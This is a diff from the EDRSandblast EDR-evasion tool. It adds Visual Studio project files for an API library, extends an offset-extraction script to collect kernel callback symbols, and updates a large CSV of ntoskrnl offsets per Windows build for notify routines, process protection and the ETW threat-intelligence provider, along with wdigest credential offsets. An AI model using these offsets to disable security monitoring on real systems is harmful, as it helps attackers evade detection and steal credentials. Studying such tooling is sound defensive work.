<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>
|
||||
</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>
|
||||
</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>
|
||||
</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>
|
||||
</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>
|
||||
</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>
|
||||
</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast_API.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="EDRSandblast_API.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,27 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast_API.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="EDRSandblast_API.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -112,7 +112,7 @@ def get_file_version(path):
|
||||
return [int(frag) for frag in line.split(" ")[-1].split(".")]
|
||||
|
||||
print(f'[!] ERROR : failed to extract version from {path}.')
|
||||
exit(1)
|
||||
raise RuntimeError("get_file_version error")
|
||||
|
||||
def extractOffsets(input_file, output_file, mode):
|
||||
if os.path.isfile(input_file):
|
||||
@@ -161,7 +161,10 @@ def extractOffsets(input_file, output_file, mode):
|
||||
('_PS_PROTECTION Protection', get_field_offset),
|
||||
("EtwThreatIntProvRegHandle", get_symbol_offset),
|
||||
('_ETW_GUID_ENTRY* GuidEntry', get_field_offset),
|
||||
('_TRACE_ENABLE_INFO ProviderEnableInfo', get_field_offset)]
|
||||
('_TRACE_ENABLE_INFO ProviderEnableInfo', get_field_offset),
|
||||
("PsProcessType", get_symbol_offset),
|
||||
("PsThreadType", get_symbol_offset),
|
||||
('struct _LIST_ENTRY CallbackList', get_field_offset)]
|
||||
elif imageType == "wdigest":
|
||||
symbols = [
|
||||
("g_fParameter_UseLogonCredential",get_symbol_offset),
|
||||
@@ -263,7 +266,7 @@ if __name__ == '__main__':
|
||||
else:
|
||||
with open(args.output, 'w') as output:
|
||||
if mode == "ntoskrnl":
|
||||
output.write('ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset\n')
|
||||
output.write('ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset,PsProcessType,PsThreadType,CallbackList\n')
|
||||
elif mode == "wdigest":
|
||||
output.write('wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset\n')
|
||||
else:
|
||||
|
||||
+519
-441
@@ -1,441 +1,519 @@
|
||||
ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset
|
||||
ntoskrnl_9600-20111.exe,2dac50,2daa50,2da850,67a,0,20,50
|
||||
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50
|
||||
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50
|
||||
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50
|
||||
ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50
|
||||
ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||
ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||
ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||
ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||
ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||
ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50
|
||||
ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50
|
||||
ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50
|
||||
ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50
|
||||
ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50
|
||||
ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50
|
||||
ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50
|
||||
ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50
|
||||
ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50
|
||||
ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50
|
||||
ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||
ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50
|
||||
ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50
|
||||
ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50
|
||||
ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50
|
||||
ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50
|
||||
ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50
|
||||
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50
|
||||
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50
|
||||
ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50
|
||||
ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
|
||||
ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
|
||||
ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
|
||||
ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50
|
||||
ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50
|
||||
ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50
|
||||
ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||
ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||
ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||
ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||
ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50
|
||||
ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50
|
||||
ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50
|
||||
ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50
|
||||
ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50
|
||||
ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50
|
||||
ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50
|
||||
ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50
|
||||
ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50
|
||||
ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50
|
||||
ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50
|
||||
ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50
|
||||
ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50
|
||||
ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50
|
||||
ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50
|
||||
ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50
|
||||
ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50
|
||||
ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50
|
||||
ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||
ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||
ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||
ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||
ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||
ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||
ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50
|
||||
ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50
|
||||
ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50
|
||||
ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50
|
||||
ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50
|
||||
ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50
|
||||
ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50
|
||||
ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50
|
||||
ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50
|
||||
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50
|
||||
ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50
|
||||
ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50
|
||||
ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50
|
||||
ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50
|
||||
ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50
|
||||
ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50
|
||||
ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50
|
||||
ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50
|
||||
ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50
|
||||
ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50
|
||||
ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50
|
||||
ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50
|
||||
ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50
|
||||
ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50
|
||||
ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50
|
||||
ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50
|
||||
ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50
|
||||
ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50
|
||||
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50
|
||||
ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50
|
||||
ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50
|
||||
ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50
|
||||
ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50
|
||||
ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50
|
||||
ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50
|
||||
ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50
|
||||
ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50
|
||||
ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
|
||||
ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50
|
||||
ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
|
||||
ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
|
||||
ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50
|
||||
ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50
|
||||
ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50
|
||||
ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50
|
||||
ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
|
||||
ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
|
||||
ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50
|
||||
ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50
|
||||
ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
|
||||
ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50
|
||||
ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50
|
||||
ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50
|
||||
ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50
|
||||
ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50
|
||||
ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50
|
||||
ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50
|
||||
ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50
|
||||
ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50
|
||||
ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50
|
||||
ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50
|
||||
ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50
|
||||
ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||
ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||
ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||
ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||
ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50
|
||||
ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50
|
||||
ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50
|
||||
ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50
|
||||
ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50
|
||||
ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50
|
||||
ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||
ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50
|
||||
ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50
|
||||
ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50
|
||||
ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||
ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50
|
||||
ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50
|
||||
ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||
ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
|
||||
ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
|
||||
ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
|
||||
ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50
|
||||
ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||
ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50
|
||||
ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||
ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50
|
||||
ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||
ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||
ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||
ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||
ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||
ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50
|
||||
ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50
|
||||
ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||
ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50
|
||||
ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50
|
||||
ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50
|
||||
ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50
|
||||
ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50
|
||||
ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50
|
||||
ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50
|
||||
ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
